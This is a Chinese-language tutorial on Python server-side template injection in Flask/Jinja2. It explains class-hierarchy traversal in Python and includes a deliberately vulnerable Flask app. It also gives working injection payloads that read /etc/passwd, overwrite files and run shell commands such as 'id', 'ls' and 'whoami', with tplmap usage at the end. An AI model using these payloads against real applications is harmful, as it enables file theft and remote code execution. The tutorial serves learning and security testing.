1. python漏洞分析
1.1 python(反序列化)
2.1 python(ssti模板注入)
SSTI (服务器模板注入)
。
2.1.1 attribution
2.1.1.1 __class__
Python中有一个__class__
可以获取实例对应的类,比如一个空字符串"".__class__
就可以获取到 <type 'str'>
, 那这个字符串同样也可以换成列表,元组,字典。
2.1.1.2 __mro__
__mro__
这个属性可以获取到当前对象的所有继承类, 这个属性返回一个tuple对象,这个对象包含了当前类对象所有继承的基类,tuple中元素的顺序就是MRO(Method Resolution Order)寻找的顺序。或者用base这个属性也可以获取到基本类。
2.1.2 function
2.1.2.1 __ subclasses __()
类对象中的方法 __subclasses__()
会返回类中所有存活子类的引用(不是实例),那如果我们用object类调用这个方法的话,就可以返回所有的类对象了。(object类对象是所有类的父类)
如下是在windows的Python2环境中测试的,linux下的
''.__class__.__mro__[2].__subclasses__()
0 <type 'type'>
1 <type 'weakref'>
2 <type 'weakcallableproxy'>
3 <type 'weakproxy'>
4 <type 'int'>
5 <type 'basestring'>
6 <type 'bytearray'>
7 <type 'list'>
8 <type 'NoneType'>
9 <type 'NotImplementedType'>
10 <type 'traceback'>
11 <type 'super'>
12 <type 'xrange'>
13 <type 'dict'>
14 <type 'set'>
15 <type 'slice'>
16 <type 'staticmethod'>
17 <type 'complex'>
18 <type 'float'>
19 <type 'buffer'>
20 <type 'long'>
21 <type 'frozenset'>
22 <type 'property'>
23 <type 'memoryview'>
24 <type 'tuple'>
25 <type 'enumerate'>
26 <type 'reversed'>
27 <type 'code'>
28 <type 'frame'>
29 <type 'builtin_function_or_method'>
30 <type 'instancemethod'>
31 <type 'function'>
32 <type 'classobj'>
33 <type 'dictproxy'>
34 <type 'generator'>
35 <type 'getset_descriptor'>
36 <type 'wrapper_descriptor'>
37 <type 'instance'>
38 <type 'ellipsis'>
39 <type 'member_descriptor'>
40 <type 'file'>
41 <type 'PyCapsule'>
42 <type 'cell'>
43 <type 'callable-iterator'>
44 <type 'iterator'>
45 <type 'sys.long_info'>
46 <type 'sys.float_info'>
47 <type 'EncodingMap'>
48 <type 'fieldnameiterator'>
49 <type 'formatteriterator'>
50 <type 'sys.version_info'>
51 <type 'sys.flags'>
52 <type 'sys.getwindowsversion'>
53 <type 'exceptions.BaseException'>
54 <type 'module'>
55 <type 'imp.NullImporter'>
56 <type 'zipimport.zipimporter'>
57 <type 'nt.stat_result'>
58 <type 'nt.statvfs_result'>
59 <class 'warnings.WarningMessage'>
60 <class 'warnings.catch_warnings'>
61 <class '_weakrefset._IterationGuard'>
62 <class '_weakrefset.WeakSet'>
63 <class '_abcoll.Hashable'>
64 <type 'classmethod'>
65 <class '_abcoll.Iterable'>
66 <class '_abcoll.Sized'>
67 <class '_abcoll.Container'>
68 <class '_abcoll.Callable'>
69 <type 'dict_keys'>
70 <type 'dict_items'>
71 <type 'dict_values'>
72 <class 'site._Printer'>
73 <class 'site._Helper'>
74 <type '_sre.SRE_Pattern'>
75 <type '_sre.SRE_Match'>
76 <type '_sre.SRE_Scanner'>
77 <class 'site.Quitter'>
78 <class 'codecs.IncrementalEncoder'>
79 <class 'codecs.IncrementalDecoder'>
80 <type 'operator.itemgetter'>
81 <type 'operator.attrgetter'>
82 <type 'operator.methodcaller'>
83 <type 'functools.partial'>
84 <type 'MultibyteCodec'>
85 <type 'MultibyteIncrementalEncoder'>
86 <type 'MultibyteIncrementalDecoder'>
87 <type 'MultibyteStreamReader'>
88 <type 'MultibyteStreamWriter'>
windows的python2比linux的多一个<type 'sys.getwindowsversion'>
object类的第40号元素就是一个有读文件功能的类对象。
#coding:utf-8
#python2
cnt = 0
for item in ''.__class__.__mro__[2].__subclasses__():
try:
if 'file' in str(item):
print cnt,item
cnt+=1
except:
cnt+=1
continue
# 40 <type 'file'>
# [Finished in 0.1s]
读取/etc/passwd
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
向已存在的文件内写入内容,并会把原有的内容进行覆盖。
''.__class__.__mro__[2].__subclasses__()[40]('/flag','w').write('test')
2.1.2.2 system command
以下皆以python2为例:
访问os模块都是从warnings.catch_warnings模块入手的,模块位置为59(linux下), __init__
用于将对象实例化,func_globals可以看该模块下有哪些globals函数,而linecache可用于读取任意一个文件的某一行,而这个函数引用了os模块。
文件读取
>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].os.popen('id').read()
'uid=1000(hzdl) gid=1000(hzdl) groups=1000(hzdl),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(docker)\n'
-----------------------------------------------------------------------------------------
RCE,执行system("ls")
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
-----------------------------------------------------------------------------------------
object.__subclasses__()[59].__init__.__globals__['__builtins__']
下有eval,__import__
等的全局函数。
>>> object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']
<built-in function eval>
2.1.3 漏洞实例
2.1.3.1 flask ssti(python3)
#python3
#Flask version:0.12.2
#Jinja2: 2.10
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run(host="127.0.0.1", port=10110,debug=True)
判断存在ssti模板注入:
命令执行:
命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
```
![popen](./best_python/6.png)
**文件读取:**
```
文件读取:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('d:\\flag', 'r').read() }}{% endif %}{% endfor %}
2.1.3.2 flask ssti(python2)
#注入变量执行命令详见 http://www.freebuf.com/articles/web/98928.html
#读文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
2.1.4 instrument
2.1.4.1 tplmap
git clone https://github.com/epinna/tplmap
./tplmap.py -u <url>
参考资料:
1、一篇文章带你理解漏洞之 SSTI 漏洞 https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/#%E5%AE%9E%E4%BE%8B%E4%B8%80%EF%BC%9A
2、Templates Injections Payload: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
3、浅析SSTI(python沙盒绕过)
http://flag0.com/2018/11/11/%E6%B5%85%E6%9E%90SSTI-python%E6%B2%99%E7%9B%92%E7%BB%95%E8%BF%87/
4、FLASK模板注入 (SSTI)
https://blog.csdn.net/yh1013024906/article/details/84330056